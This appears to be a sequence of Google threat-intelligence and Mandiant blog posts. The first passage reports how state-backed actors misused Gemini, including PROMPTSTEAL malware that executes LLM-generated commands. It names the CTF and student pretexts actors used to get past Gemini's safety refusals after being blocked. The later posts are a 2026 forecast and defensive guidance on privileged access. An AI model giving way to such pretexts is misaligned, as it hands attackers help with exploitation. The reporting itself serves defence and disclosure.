PROMPTSTEAL likely uses stolen API tokens to query the Hugging Face API. The prompt specifically asks the LLM to output commands to generate system information and also to copy documents to a specified directory. The output from these commands are then blindly executed locally by PROMPTSTEAL before the output is exfiltrated. Our analysis indicates continued development of this malware, with new samples adding obfuscation and changing the C2 method.

Social Engineering to Bypass Safeguards

Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails. Threat actors are adopting social engineering-like pretexts in their prompts to bypass AI safety guardrails. We observed actors posing as participants in a "capture-the-flag" competition for cybersecurity researchers to persuade Gemini to provide information that would otherwise be blocked, enabling vulnerability exploitation and tool development. In addition to disrupting these actors, we use these insights to continuously improve our classifiers and strengthen the security of our products.

Capture-the-Flag: Identifying as a CTF Player to Enable Research for Mass Exploitation

A China-nexus threat actor misused Gemini to enhance the effectiveness of their campaigns by crafting lure content, building technical infrastructure, and developing tooling for data exfiltration. 

In one interaction, the actor asked Gemini to identify vulnerabilities on a compromised system, but received a safety response from Gemini that a detailed response would not be safe. The actor then continued, reframing the prompt by depicting themselves as a participant in a capture-the-flag (CTF) exercise, a gamified cybersecurity competition to enhance skills and techniques. When prompted to help in a CTF exercise, Gemini returned helpful information that could be misused to exploit the system.

The actor appeared to learn from this interaction and used the CTF pretext in support of phishing, exploitation, and web shell development. The actor prefaced many of their prompts about exploitation of specific software and email services with comments such as "I am working on a CTF problem" or "I am currently in a CTF, and I saw someone from another team say …" This approach provided advice on the next exploitation steps in a "CTF scenario."

Student Error: Developing Custom Tools Exposes Core Attacker Infrastructure

The Iranian state-sponsored threat actor TEMP.Zagros (aka MUDDYCOAST, Muddy Water) used Gemini to conduct research to support the development of custom malware, an evolution in the group’s capability. They continue to rely on phishing emails, often using compromised corporate email accounts from victims to lend credibility to their attacks, but have shifted from using public tools to developing custom malware including web shells and a Python-based C2 server. 

While using Gemini to conduct research to support the development of custom malware, the threat actor encountered safety responses. Much like the previously described CTF example, Temp.Zagros used various plausible pretexts in their prompts to bypass security guardrails. These included pretending to be a student working on a final university project or "writing a paper" or "international article" on cybersecurity.

In some observed instances, threat actors' reliance on LLMs for development has led to critical operational security failures, enabling greater disruption.

The threat actor asked Gemini to help with a provided script, which was designed to listen for encrypted requests, decrypt them, and execute commands related to file transfers and remote execution. This revealed sensitive, hard-coded information to Gemini, including the C2 domain and the script’s encryption key, facilitating our broader disruption of the attacker’s campaign and providing a direct window into their evolving operational capabilities and infrastructure.

Purpose-Built Tools and Services for Sale in Underground Forums

In addition to misusing existing AI-enabled tools and services across the industry, there is a growing interest and marketplace for AI tools and services purpose-built to enable illicit activities. Tools and services offered via underground forums can enable low-level actors to augment the frequency, scope, efficacy, and complexity of their intrusions despite their limited technical acumen and financial resources. 

To identify evolving threats, GTIG tracks posts and advertisements on English- and Russian-language underground forums related to AI tools and services as well as discussions surrounding the technology. Many underground forum advertisements mirrored language comparable to traditional marketing of legitimate AI models, citing the need to improve the efficiency of workflows and effort while simultaneously offering guidance for prospective customers interested in their offerings.

In 2025 the cyber crime marketplace for AI-enabled tooling matured, and GTIG identified multiple offerings for multifunctional tools designed to support stages of the attack lifecycle. Of note, almost every notable tool advertised in underground forums mentioned their ability to support phishing campaigns. 

Underground advertisements indicate many AI tools and services promoted similar technical capabilities to support threat operations as those of conventional tools. Pricing models for illicit AI services also reflect those of conventional tools, with many developers injecting advertisements into the free version of their services and offering subscription pricing tiers to add on more technical features such as image generation, API access, and Discord access for higher prices.

GTIG assesses that financially motivated threat actors and others operating in the underground community will continue to augment their operations with AI tools. Given the increasing accessibility of these applications, and the growing AI discourse in these forums, threat activity leveraging AI will increasingly become commonplace amongst threat actors.

Continued Augmentation of the Full Attack Lifecycle

State-sponsored actors from North Korea, Iran, and the People's Republic of China (PRC) continue to misuse generative AI tools including Gemini to enhance all stages of their operations, from reconnaissance and phishing lure creation to C2 development and data exfiltration. This extends one of our core findings from our January 2025 analysis Adversarial Misuse of Generative AI.

Expanding Knowledge of Less Conventional Attack Surfaces

GTIG observed a suspected China-nexus actor leveraging Gemini for multiple stages of an intrusion campaign, conducting initial reconnaissance on targets of interest, researching phishing techniques to deliver payloads, soliciting assistance from Gemini related to lateral movement, seeking technical support for C2 efforts once inside a victim’s system, and leveraging help for data exfiltration.

In addition to supporting intrusion activity on Windows systems, the actor misused Gemini to support multiple stages of an intrusion campaign on attack surfaces they were unfamiliar with including cloud infrastructure, vSphere, and Kubernetes. 

The threat actor demonstrated access to AWS tokens for EC2 (Elastic Compute Cloud) instances and used Gemini to research how to use the temporary session tokens, presumably to facilitate deeper access or data theft from a victim environment. In another case, the actor leaned on Gemini to assist in identifying Kubernetes systems and to generate commands for enumerating containers and pods. We also observed research into getting host permissions on MacOS, indicating a threat actor focus on phishing techniques for that system.

North Korean Threat Actors Misuse Gemini Across the Attack Lifecycle 

Threat actors associated with the Democratic People's Republic of Korea (DPRK) continue to misuse generative AI tools to support operations across the stages of the attack lifecycle, aligned with their efforts to target cryptocurrency and provide financial support to the regime. 

Specialized Social Engineering

In recent operations, UNC1069 (aka MASAN) used Gemini to research cryptocurrency concepts, and perform research and reconnaissance related to the location of users’ cryptocurrency wallet application data. This North Korean threat actor is known to conduct cryptocurrency theft campaigns leveraging social engineering, notably using language related to computer maintenance and credential harvesting. 

The threat actor also generated lure material and other messaging related to cryptocurrency, likely to support social engineering efforts for malicious activity. This included generating Spanish-language work-related excuses and requests to reschedule meetings, demonstrating how threat actors can overcome the barriers of language fluency to expand the scope of their targeting and success of their campaigns. 

To support later stages of the campaign, UNC1069 attempted to misuse Gemini to develop code to steal cryptocurrency, as well as to craft fraudulent instructions impersonating a software update to extract user credentials. We have disabled this account.

Using Deepfakes

Beyond UNC1069’s misuse of Gemini, GTIG recently observed the group leverage deepfake images and video lures impersonating individuals in the cryptocurrency industry as part of social engineering campaigns to distribute its BIGMACHO backdoor to victim systems. The campaign prompted targets to download and install a malicious "Zoom SDK" link.

Attempting to Develop Novel Capabilities with AI

UNC4899 (aka PUKCHONG), a North Korean threat actor notable for their use of supply chain compromise, used Gemini for a variety of purposes including developing code, researching exploits, and improving their tooling. The research into vulnerabilities and exploit development likely indicates the group is developing capabilities to target edge devices and modern browsers. We have disabled the threat actor’s accounts.

Capture-the-Data: Attempts to Develop a “Data Processing Agent”

The use of Gemini by APT42, an Iranian government-backed attacker, reflects the group's focus on crafting successful phishing campaigns. In recent activity, APT42 used the text generation and editing capabilities of Gemini to craft material for phishing campaigns, often impersonating individuals from reputable organizations such as prominent think tanks and using lures related to security technology, event invitations, or geopolitical discussions. APT42 also used Gemini as a translation tool for articles and messages with specialized vocabulary, for generalized research, and for continued research into Israeli defense. 

APT42 also attempted to build a “Data Processing Agent”, misusing Gemini to develop and test the tool. The agent converts natural language requests into SQL queries to derive insights from sensitive personal data. The threat actor provided Gemini with schemas for several distinct data types in order to perform complex queries such as linking a phone number to an owner, tracking an individual's travel patterns, or generating lists of people based on shared attributes. We have disabled the threat actors’ accounts.

Code Development: C2 Development and Support for Obfuscation

Threat actors continue to adapt generative AI tools to augment their ongoing activities, attempting to enhance their tactics, techniques, and procedures (TTPs) to move faster and at higher volume. For skilled actors, generative AI tools provide a helpful framework, similar to the use of Metasploit or Cobalt Strike in cyber threat activity. These tools also afford lower-level threat actors the opportunity to develop sophisticated tooling, quickly integrate existing techniques, and improve the efficacy of their campaigns regardless of technical acumen or language proficiency. 

Throughout August 2025, GTIG observed threat activity associated with PRC-backed APT41, utilizing Gemini for assistance with code development. The group has demonstrated a history of targeting a range of operating systems across mobile and desktop devices as well as employing social engineering compromises for their operations. Specifically, the group leverages open forums to both lure victims to exploit-hosting infrastructure and to prompt installation of malicious mobile applications.

In order to support their campaigns, the actor was seeking out technical support for C++ and Golang code for multiple tools including a C2 framework called OSSTUN by the actor. The group was also observed prompting Gemini for help with code obfuscation, with prompts related to two publicly available obfuscation libraries.

Information Operations and Gemini

GTIG continues to observe IO actors utilize Gemini for research, content creation, and translation, which aligns with their previous use of Gemini to support their malicious activity. We have identified Gemini activity that indicates threat actors are soliciting the tool to help create articles or aid them in building tooling to automate portions of their workflow. However, we have not identified these generated articles in the wild, nor identified evidence confirming the successful automation of their workflows leveraging this newly built tooling. None of these attempts have created breakthrough capabilities for IO campaigns.

Building AI Safely and Responsibly 

We believe our approach to AI must be both bold and responsible. That means developing AI in a way that maximizes the positive benefits to society while addressing the challenges. Guided by our AI Principles, Google designs AI systems with robust security measures and strong safety guardrails, and we continuously test the security and safety of our models to improve them. 

Our policy guidelines and prohibited use policies prioritize safety and responsible use of Google's generative AI tools. Google's policy development process includes identifying emerging trends, thinking end-to-end, and designing for safety. We continuously enhance safeguards in our products to offer scaled protections to users across the globe.  

At Google, we leverage threat intelligence to disrupt adversary operations. We investigate abuse of our products, services, users, and platforms, including malicious cyber activities by government-backed threat actors, and work with law enforcement when appropriate. Moreover, our learnings from countering malicious activities are fed back into our product development to improve safety and security for our AI models. These changes, which can be made to both our classifiers and at the model level, are essential to maintaining agility in our defenses and preventing further misuse.

Google DeepMind also develops threat models for generative AI to identify potential vulnerabilities, and creates new evaluation and training techniques to address misuse. In conjunction with this research, Google DeepMind has shared how they're actively deploying defenses in AI systems, along with measurement and monitoring tools, including a robust evaluation framework that can automatically red team an AI vulnerability to indirect prompt injection attacks. 

Our AI development and Trust & Safety teams also work closely with our threat intelligence, security, and modelling teams to stem misuse.

The potential of AI, especially generative AI, is immense. As innovation moves forward, the industry needs security standards for building and deploying AI responsibly. That's why we introduced the Secure AI Framework (SAIF), a conceptual framework to secure AI systems. We've shared a comprehensive toolkit for developers with resources and guidance for designing, building, and evaluating AI models responsibly. We've also shared best practices for implementing safeguards, evaluating model safety, and red teaming to test and secure AI systems. 

Google also continuously invests in AI research, helping to ensure AI is built responsibly, and that we’re leveraging its potential to automatically find risks. Last year, we introduced Big Sleep, an AI agent developed by Google DeepMind and Google Project Zero, that actively searches and finds unknown security vulnerabilities in software. Big Sleep has since found its first real-world security vulnerability and assisted in finding a vulnerability that was imminently going to be used by threat actors, which GTIG was able to cut off beforehand. We’re also experimenting with AI to not only find vulnerabilities, but also patch them. We recently introduced CodeMender, an experimental AI-powered agent utilizing the advanced reasoning capabilities of our Gemini models to automatically fix critical code vulnerabilities. 

About the Authors

Google Threat Intelligence Group focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted zero-day exploits, coordinated information operations (IO), and serious cyber crime networks. We apply our intelligence to improve Google's defenses and protect our users and customers. 

Every November, we make it our mission to equip organizations with the knowledge needed to stay ahead of threats we anticipate in the coming year. The Cybersecurity Forecast 2026 report, released today, provides comprehensive insights to help security leaders and teams prepare for those challenges.

This report does not contain "crystal ball" predictions. Instead, our forecasts are built on real-world trends and data we are observing right now. The information contained in the report comes directly from Google Cloud security leaders, and dozens of experts, analysts, researchers, and responders directly on the frontlines.

aside_block

<ListValue: [StructValue([('title', 'Cybersecurity Forecast 2026'), ('body', <wagtail.rich_text.RichText object at 0x7fd4e1fd66a0>), ('btn_text', 'Download now'), ('href', 'https://cloud.google.com/security/resources/cybersecurity-forecast?&utm_source=cgc-blog&utm_medium=blog&utm_campaign=FY25-Q4-GLOBAL-ENT37011-website-dl-cyber-forecast-124843&utm_content=launch_blog&utm_term=-'), ('image', <GAEImage: forecast 2026 cover>)])]>

Artificial Intelligence, Cybercrime, and Nation States

Cybersecurity in the year ahead will be defined by rapid evolution and refinement by adversaries and defenders. Defenders will leverage artificial intelligence and agentic AI to protect against increasingly sophisticated and disruptive cybercrime operations, nation-state actors persisting on networks for long periods of time to conduct espionage and achieve other strategic goals, and adversaries who are also embracing artificial intelligence to scale and speed up attacks.

AI Threats

• Adversaries Fully Embrace AI: We anticipate threat actors will move decisively from using AI as an exception to using it as the norm. They will leverage AI to enhance the speed, scope, and effectiveness of operations, streamlining and scaling attacks across the entire lifecycle.

• Prompt Injection Risks: A critical and growing threat is prompt injection, an attack that manipulates AI to bypass its security protocols and follow an attacker's hidden command. Expect a significant rise in targeted attacks on enterprise AI systems.

• AI-Enabled Social Engineering: Threat actors will accelerate the use of highly manipulative AI-enabled social engineering. This includes vishing (voice phishing) with AI-driven voice cloning to create hyperrealistic impersonations of executives or IT staff, making attacks harder to detect and defend against.

AI Advantages

• AI Agent Paradigm Shift: Widespread adoption of AI agents will create new security challenges, requiring organizations to develop new methodologies and tools to effectively map their new AI ecosystems. A key part of this will be the evolution of identity and access management (IAM) to treat AI agents as distinct digital actors with their own managed identities.

• Supercharged Security Analysts: AI adoption will transform security analysts’ roles, shifting them from drowning in alerts to directing AI agents in an “Agentic SOC.” This will allow analysts to focus on strategic validation and high-level analysis, as AI handles data correlation, incident summaries, and threat intelligence drafting.

Cybercrime

• Ransomware and Extortion: The combination of ransomware, data theft, and multifaceted extortion will remain the most financially disruptive category of cybercrime. The volume of activity is escalating, with focus on targeting third-party providers and exploiting zero-day vulnerabilities for high-volume data exfiltration.

• The On-Chain Cybercrime Economy: As the financial sector increasingly adopts cryptocurrencies, threat actors are expected to migrate core components of their operations onto public blockchains for unprecedented resilience against traditional takedown efforts.

• Virtualization Infrastructure Under Threat: As security controls mature in guest operating systems, adversaries are pivoting to the underlying virtualization infrastructure, which is becoming a critical blind spot. A single compromise here can grant control over the entire digital estate and render hundreds of systems inoperable in a matter of hours.

Nation States

• Russia: Cyber operations are expected to undergo a strategic shift, prioritizing long-term global strategic goals and the development of advanced cyber capabilities over just tactical support for the conflict in Ukraine.

• China: The volume of China-nexus cyber operations is expected to continue surpassing that of other nations. They will prioritize stealthy operations, aggressively targeting edge devices and exploiting zero-day vulnerabilities.

• Iran: Driven by regional conflicts and the goal of regime stability, Iranian cyber activity will remain resilient, multifaceted, and semi-deniable, deliberately blurring the lines between espionage, disruption, and hacktivism.

• North Korea: They will continue to conduct financial operations to generate revenue for the regime, cyber espionage against perceived adversaries, and seek to expand IT worker operations.

Be Prepared for 2026

Understanding threats is key to staying ahead of them. Read the full Cybersecurity Forecast 2026 report for a more in-depth look at the threats covered in this blog post. We have also released special reports that dive into some of the threats and challenges unique to EMEA and JAPAC organizations.

For an even deeper look at the threat landscape next year, register for our Cybersecurity Forecast 2026 webinar, which will be hosted once again by threat expert Andrew Kopcienski.

Written by: Bhavesh Dhake, Will Silverstone, Matthew Hitchcock, Aaron Fletcher

The Criticality of Privileged Access in Today's Threat Landscape

Privileged access stands as the most critical pathway for adversaries seeking to compromise sensitive systems and data. Its protection is not only a best practice, it is a fundamental imperative for organizational resilience. The increasing complexity of modern IT environments, exacerbated by rapid cloud migration, has led to a surge in both human and non-human identities, comprising privileged accounts and virtual systems [compute workloads such as virtual machines (VMs), containers, and serverless functions, plus their control planes], significantly expanding the overall attack surface. This environment presents escalating challenges in identity and access management, cross-platform system security, and effective staffing, making the establishment and maintenance of a robust security posture increasingly challenging.

The threat landscape is continuously evolving, with a pronounced shift towards attacks that exploit privileged access. Mandiant's 2025 M-Trends report highlights that stolen credentials have surpassed email phishing to become the second-most frequently observed initial access method, accounting for 16% of intrusions in 2024. This resurgence is fueled, in part, by the proliferation of infostealer malware campaigns, which facilitate the collection and trade of compromised user credentials. However, threat actors of all types have found myriad new ways to compromise identity, including social engineering, which has been on the rise alongside several other tactics, techniques, and procedures (TTPs). ENISA documents criminal use of generative artificial intelligence (AI) for credential-stealing social-engineering and "fraud kits."

Stolen credentials provide not just a high-value vector for initial access during intrusions, but also further enable actors to conduct internal reconnaissance, move laterally, and complete their mission. Compromised credentials, alongside stolen session tokens, social engineering, and other techniques to compromise identity, underscore the critical need for organizations to make identity security one of the foundational pillars of their security posture. Even with advanced perimeter defenses, if privileged credentials are weak or poorly managed, attackers will inevitably find a way into an organization's critical systems. Breaches can be difficult to detect and contain; M-Trends 2025 reports a global median dwell time of 11 days in 2024—5 days when the adversary notifies, 26 days when an external entity notifies, and 10 days when detected internally. A concise defense-in-depth approach is required, where you should assume breach and implement layer controls so failure of one control is caught by the next layer of defense:

1. Verify every request (Zero Trust).

2. Require multifactor authentication (MFA) for all administrative paths.

3. Enforce privileged access management (PAM) with credential rotation and session recording.

4. Administer only from privileged access workstations (PAWs) on a segmented management network.

5. Tune security information and event management (SIEM) for privileged anomalies to reduce dwell time and radius.

Beyond external attacks, organizations face significant risk from account takeover (ATO) and insider activity. Adversaries routinely weaponize stolen credentials and session tokens, while negligent or malicious insiders can move quickly once they have access. In both cases, the trust model is being exploited, and privileged identities are the shortest path to impact.

At the same time, the business impact of breaches continues to rise and third-party exposure remains a frequent entry point. These realities reinforce an assume-breach posture with layered controls that reduce dwell time and blast radius.

This blog post provides recommendations and insights into preventing, detecting, and responding to intrusions targeting privileged accounts. To secure these "keys to your kingdom," Mandiant's strategy is built upon a comprehensive framework of three interdependent pillars:

1. Prevention: Securing Privileged Access to Prevent Compromise
2. Detection: Maintaining Visibility and Engineering Detections for Privileged Accounts
3. Response: Taking Action to Investigate and Remediate Privileged Account Compromise

This blog post serves as a reusable resource, emphasizing practical, threat-informed strategies to secure the most valuable digital assets.

01: Prevention: Securing Privileged Access to Limit Attack Impact 

Effective privileged access management begins with an understanding of what constitutes a privileged account and a strategy for securing these critical assets.

Defining Privileged Accounts: Beyond the Obvious

Access is a privilege; every account is a grant of trust. A privileged account is any human or non-human identity whose entitlements can change system state, alter security policy, or reach sensitive data beyond a normal role. Privilege is contextual to role and tier: an entitlement is "privileged" when misuse would cause material impact for that asset. In modern enterprises, this also includes business users with access to sensitive financial or personal data via web apps and developers with cloud-platform access.

The evolving definition of "privileged" directly reflects the decentralization of IT and the rise of cloud-native and DevOps environments. Attackers are no longer solely targeting domain admins; they increasingly focus on developers' workstations, service accounts, and API keys, knowing these give access to systems. This wider scope requires a more complete PAM strategy that covers the entire enterprise, not just traditional IT. The definition must also cover non-human accounts, such as service accounts, application accounts, and API keys. These are prime targets in real compromises because they hold broad access, yet are less monitored than human accounts. A PAM strategy that only focuses on human domain admins is incomplete and leaves attack surfaces open. Therefore, maintain a single inventory that classifies every human, service, and API account by business impact and maps each to a role with least-privilege entitlements—owner, purpose, systems touched, permitted actions, tier (T0/T1/T2), allowed pathways (PAW/jump), and Segregation of Duties (SoD) constraints—with quarterly attestation in the identity and access management (IAM) source of truth.

Categorizing and Tiering Privileged Accounts and Dependencies

Many organizations struggle with a broad and unclear understanding of "privileged accounts," limiting their focus to only domain admins or global admins. This narrow view overlooks the dependencies on which those accounts rely. Mandiant's Identity Security Modernization Engagements offer principles for better defining and categorizing privileged accounts beyond these views. These assessments help identify and reduce the number of accounts with highly privileged roles. This includes accounts or groups with permissions for modifying Group Policy Objects (GPOs), explicit permissions on domain controllers (DCs) or Tier-0 endpoints, privileged roles for virtualization platforms, and permissions to run processes as SYSTEM on many endpoints.

Dependencies often overlooked include jump servers, management workstations, specific network segments, applications, and continuous integration and continuous delivery/deployment (CI/CD) pipelines. "Trusted Service Infrastructure" directly addresses these dependencies, including management interfaces for asset and patch management tools, network devices, virtualization platforms, backup technologies, security tooling, and PAM systems themselves. Attackers target these components for persistence and lateral movement, knowing that compromising them can give broad control over an environment.

"Tiering" is key for PAM. It moves beyond a flat "privileged" versus "non-privileged" view by categorizing accounts based on compromise impact and their dependencies. For example, an account that can access a Tier-0 asset (like a domain controller) or the infrastructure supporting it (e.g., a jump server) poses a higher risk to the operation. Overlooking these dependencies means that even if a "privileged" account is secure, the less-secure system used to access it can become the weakest link. This shows the need for a holistic security approach that extends PAM controls to the entire "privileged access pathway," ensuring controls are layered across identities, endpoints, networks, and applications. The context of access—from where, when, and how—becomes as important as the identity itself.

Common Privileged Account Categories and Critical Dependencies

Establishing a PAM Foundation

A PAM program is not built overnight; it is a journey that progresses through distinct phases, each building upon the last to systematically reduce risk and enhance security posture.

The PAM Maturity Journey

Effective privileged access management adoption is an evolutionary process through levels of maturity. These levels build on each other, reducing risk and improving security. Mandiant sees four stages: Uninitiated, Ad-Hoc, Repeatable, and Iterative Optimization. As an organization moves through these stages, its protection covers more types of privileged users, sensitive systems, and their accounts.

Uninitiated. Privileged access sits largely uncontrolled: manual account creation, spreadsheet tracking, shared credentials, weak/absent MFA, loose password policy, and missed deprovisioning. Service/API accounts appear without owners or documentation. Security lacks a full map of privileged pathways and Tier-0 assets—high cyber risk by default.

Ad-Hoc. First risk reductions begin: a subset of shared credentials gets vaulted/rotated; a few guardrails appear. Operations stay reactive, tools remain fragmented, role/tier separation is limited, reporting and attestation is difficult. PAM exists as point solutions rather than a program.

Repeatable. Controls become consistent and broad. PAM covers business users, developers, third parties, servers, workstations, and software-as-a-service (SaaS). Role-based access control (RBAC) standardizes access; MFA is on all admin paths; local-admin rotation (e.g., Local Administrator Password Solution [LAPS]) is in place; PAWs for Tier-0/1; just-in-time/just-enough-administration (JIT/JEA) introduced; change control and ticketing integrated. Scheduled discovery, classification, role mapping, and quarterly attestation create a dependable operating rhythm.

Iterative Optimization. Automation and analytics drive continuous improvement. Full lifecycle orchestration—provision → approve/JIT → session oversight → auto-rotate → deprovision—runs end-to-end. SIEM / extended detection and response (XDR) / security orchestration, automation, and response (SOAR) detect and contain privileged anomalies. Human standing privilege trends toward zero; service/API identities move to group Managed Service Account (gMSA)/managed identities; dual-control on vault release; break-glass tested; controls validated through red/purple-team exercises. PAM is woven through IT and DevOps, reinforcing defense-in-depth so failure of one layer is caught by the next.

Implementing a Dedicated PAM Solution

A key step in building a strong PAM foundation is implementing a dedicated privileged access management solution (e.g., CyberArk, BeyondTrust, Delinea). Onboarding all privileged accounts into a centralized PAM system provides visibility into who accesses which credentials and from where. Leading PAM tools discover, vault, and manage credentials; enforce security policies (like checkout approvals and one-time passwords); and log all privileged activities for audit. For cloud control planes, pair your PAM with cloud-native PIM/JIT services (e.g., Google Cloud Privileged Access Manager, Microsoft Entra ID PIM) to grant time-bound elevation rather than standing admin rights. This greatly reduces the risk of unmanaged, ad hoc credential use.

However, simply deploying a PAM product is not enough—PAM must be treated as an ongoing program with defined policies and ownership. The organization should establish central governance and processes around privileged access: enforce tiered account structures, require multifactor authentication for all admin access, and mandate least privilege. Pair top-down role design with bottom-up discovery. Governance must also audit effective permissions at the resource level (access control lists [ACLs] on data stores, app/database (DB) roles, SaaS admin scopes, cloud IAM policies) to surface shadow admins—accounts that do not appear privileged in directory groups but can fully control sensitive resources (e.g., HR/finance datasets). Feed these findings into tier mapping and PAM onboarding so those identities are either right-sized to least privilege or brought under PAM with JIT/JEA and session oversight. Scheduled entitlement discovery can be done via identity governance and administration (IGA) / cloud infrastructure entitlement management (CIEM) or dedicated entitlement-analysis tools as well as native exports from the platforms themselves.

Having a PAM tool does not automatically mean you are "doing PAM." Many organizations park credentials in a vault yet fail to align with a tiered model or manage a full identity lifecycle. PAM must live inside a broader governance program. In practice, classify assets and platforms, map each privileged identity to that classification, then configure the tool to enforce policy (password rotation cadence, session recording, JIT/JEA, approvals, network restrictions). With that context, PAM simplifies the complexity by tying process to technology, turning policy into consistent, auditable controls. Run scheduled resource-permission crawls and reconcile deltas (new owners, new admin scope) back into the PAM inventory and approval workflows.

Properly implemented, a PAM solution yields many benefits: centralized insight into privileged access patterns, automated password management (eliminating hard-coded or stale credentials), and real-time alerting on suspicious behavior. Without such automation, managing thousands of privileged accounts manually is error prone and high risk. PAM tools mitigate human error by enforcing consistent policies and reducing reliance on individual administrators. They also integrate with monitoring systems (or built-in analytics) to flag anomalous admin activities. Organizations still relying on spreadsheets or disparate teams to manage admin passwords face scalability limits and blind spots. A dedicated PAM system, combined with strong processes, closes these gaps.

Considerations for Self-Managed PAM Initiatives

While a dedicated PAM solution is best for security and efficiency, organizations may manage some PAM aspects themselves, especially in earlier stages or for niche needs. If an organization undertakes a self-managed PAM initiative, these factors must be accounted for:

• Manual Inventory and Tracking Overhead: Without automated discovery tools, keeping an accurate, up-to-date inventory of all privileged accounts (human and non-human, including application accounts, especially in finance organizations) becomes a large, error-prone, manual effort. This includes tracking permissions, dependencies, and owners across systems.

• No Centralized Visibility: Separate manual processes lead to fragmented visibility. Combining logs from various sources (operating systems, applications, network devices) and correlating privileged activity for a unified view is hard without a central system (like a SIEM).

• Inconsistent Policy Enforcement: Manual policy enforcement (e.g., password complexity, rotation, least privilege) across many privileged accounts is prone to human error and inconsistency, leading to security gaps.

• Scalability Limits: Manual PAM processes do not scale. As privileged accounts grow, management overhead becomes too much, affecting security and operations.

• Slower Incident Response: Without automated detection, real-time alerting, and integrated response, finding and containing a privileged account compromise will be slower, increasing dwell time and damage.

• Higher Risk of Human Error: Manual management increases misconfigurations, forgotten deprovisioning, and accidental or coerced credential exposure, all leading to security incidents.

• Compliance Burden: Showing compliance with regulations (e.g., PCI DSS, NIST) for privileged access becomes a laborious, manual audit process without automated reporting and session records.

• Application-Specific Privileged Accounts: Applications, especially in finance, need attention to ensure they are managed with accounts that follow least privilege, rather than standard corporate accounts. This needs a detailed understanding of application roles and privileges.

• No Bottom-Up Entitlement Discovery: Without resource-level audits of effective access, "shadow admin" rights remain invisible, leaving PAM scope incomplete and high-impact accounts unmanaged.

Organizations starting a self-managed PAM journey must know these limits and be ready to invest much manual effort and accept a higher risk than with a purpose-built PAM solution.

Hardening Critical Infrastructure and Credentials

Strong PAM needs hardening around it. Reduce privileged credentials to the minimum, lock down those that must exist, and restrict where/when they can operate. Treat the full credential lifecycle—creation, storage, use, rotation, retirement—as a control surface. Even if a password or token leaks, tight hardening should keep it noisy, short-lived, or useless.

Secure Administrative Access Paths (RDP, SMB, WinRM)

Admin pathways are prime lateral-movement rails. Collapse them into monitored, gated channels.

• No direct exposure: Block Remote Desktop Protocol (RDP) / Secure Shell (SSH) from the internet. For remote admin, force access through PAWs or jump hosts with MFA and bastion logging.

• Segregate management networks: Only PAWs and PAM session managers reach server admin interfaces; deny user subnets by default.

• Protocol hygiene: Enforce Server Message Block (SMB) signing; prefer Kerberos; phase down NTLM; disable default admin shares (e.g., ADMIN$) where operationally viable.

• WinRM/RDP hardening: Enforce encrypted Windows Remote Management (WinRM) always (AllowUnencrypted=0). In Active Directory (AD)-joined scenarios using Kerberos/Negotiate, WinRM over HTTP already provides message-level encryption; still prefer HTTPS to add TLS, server certificate validation, and for non-domain/cross-forest use. Require HTTPS for Basic auth, workgroup hosts, or any untrusted network path. Restrict to approved admin groups and endpoints; disable CredSSP unless explicitly required. For RDP, enable Network Level Authentication (NLA), limit access via firewall rules/GPO, and log via bastions/PAM session managers.

• Broker sessions: Use PAM session management for high-risk systems (Tier-0/1) with keystroke/command capture and real-time termination.

Endpoint Security Controls (Least Privilege and Unknown-Code Execution)

Stop unapproved tools and script abuse on machines admins touch (endpoint privilege management [EPM]).

• Least privilege by role: Remove local admin from user workstations; perform admin tasks only from PAWs.

• Application control: Enforce WDAC/AppLocker allow-lists; block unsigned and unknown binaries; restrict PowerShell to Constrained Language Mode; enable AMSI + Script Block Logging.

• Protect secrets on the host: Turn on Credential Guard/LSA Protection (RunAsPPL); disable legacy caches (e.g., WDigest); prefer AES-only Kerberos; shorten Ticket-Granting Ticket (TGT) lifetimes for admin roles.

• Baseline + EDR: Apply CIS/Microsoft baselines via GPO/MDM; require endpoint detection and response (EDR) with tamper protection, USB/device control, and quarantine actions.

• Classify by tier: Mark PAWs/jump hosts as T0/T1, workstations as T2, and enforce stronger baselines and update rings for higher tiers.

Credential Protection and Usage Hardening

Even when privileged accounts exist, we can limit their exposure and utility to attackers. Enforce technical controls such as:

• Block Credential Reuse on Endpoints: Prevent privileged domain accounts from logging into standard user workstations. Administrators should use separate admin accounts only on admin systems (tiered access model). If a privileged credential is never used on a low-security machine, malware on that machine cannot steal it. Similarly, for local administrator accounts, disallow remote use (e.g., via Group Policy restrictions on those accounts' Security Identifiers [SIDs]) to stop lateral movement. Use Microsoft LAPS, CyberArk Loosely Connected Device (LCD) (feature designed to manage and rotate credentials for endpoints, regardless of their connection to the corporate network or Active Directory), or equivalent to ensure each machine's local admin password is unique and regularly rotated.

• Service Account Restrictions and Residency: Define explicit residency for every service/API account, and which hosts, networks, and tiers they can run on. On Windows, prefer gMSA and restrict which computers may retrieve/use the credential via PrincipalsAllowedToRetrieveManagedPassword; grant "Log on as a service" only on those hosts; deny interactive and RDP logon everywhere; limit network logon as required. Use Kerberos constrained or resource-based constrained delegation only to named backend services; avoid unconstrained delegation. Residency boundaries enforce least privilege, prevent credential spread, and make misuse obvious in logs.

• Memory and Credential Cache Protections: On Windows (Domain Member) systems, enable features like Protected Users group membership for admins (which disables legacy authorization protocols and forces Kerberos, etc.)—though do not apply this to service accounts, which may break if subject to those restrictions. Disable WDigest authentication and other settings that might keep credentials in memory in plaintext. These measures ensure that even if malware lands on a system, it is harder to scrape credentials from memory (Local Security Authority Subsystem Service [LSASS]). Reducing the "live" presence of passwords and tickets closes off common credential theft techniques (pass-the-hash, ticket reuse).

These hardening steps illustrate a mindset: even if privileged credentials exist, make them hard for attackers to capture or use. By reducing where they reside and how long they remain valid, you decrease the value of a stolen credential. This directly reduces an attack's impact, forcing attackers to spend more effort or give up.

Minimize Standing Privileges 

An emerging best practice is to reduce the number of privileged accounts that exist with always-on rights. Instead of giving every administrator their own always-privileged user account, consider a model of ephemeral or checked-out privileges. For example, a team of 10 admins may not need 10 separate domain admins active at all times. Using PAM, you could maintain a small pool of privileged accounts that admins check out when needed (one-at-a-time, with unique login tracking for accountability) and that get automatically locked or rotated afterward. Many PAM solutions support "exclusive access" or one-time password checkout, ensuring no two people use the same shared account simultaneously and every action is tied back to an individual. 

This approach shrinks the attack surface by having fewer privileged credentials in existence. It also enforces discipline—admins must go through the PAM process to get access, which is logged and monitored. While shared accounts are generally risky, with strict PAM controls (per-user checkouts, full session recording, and audited approvals) they can be used in a way that preserves accountability while limiting credential proliferation.

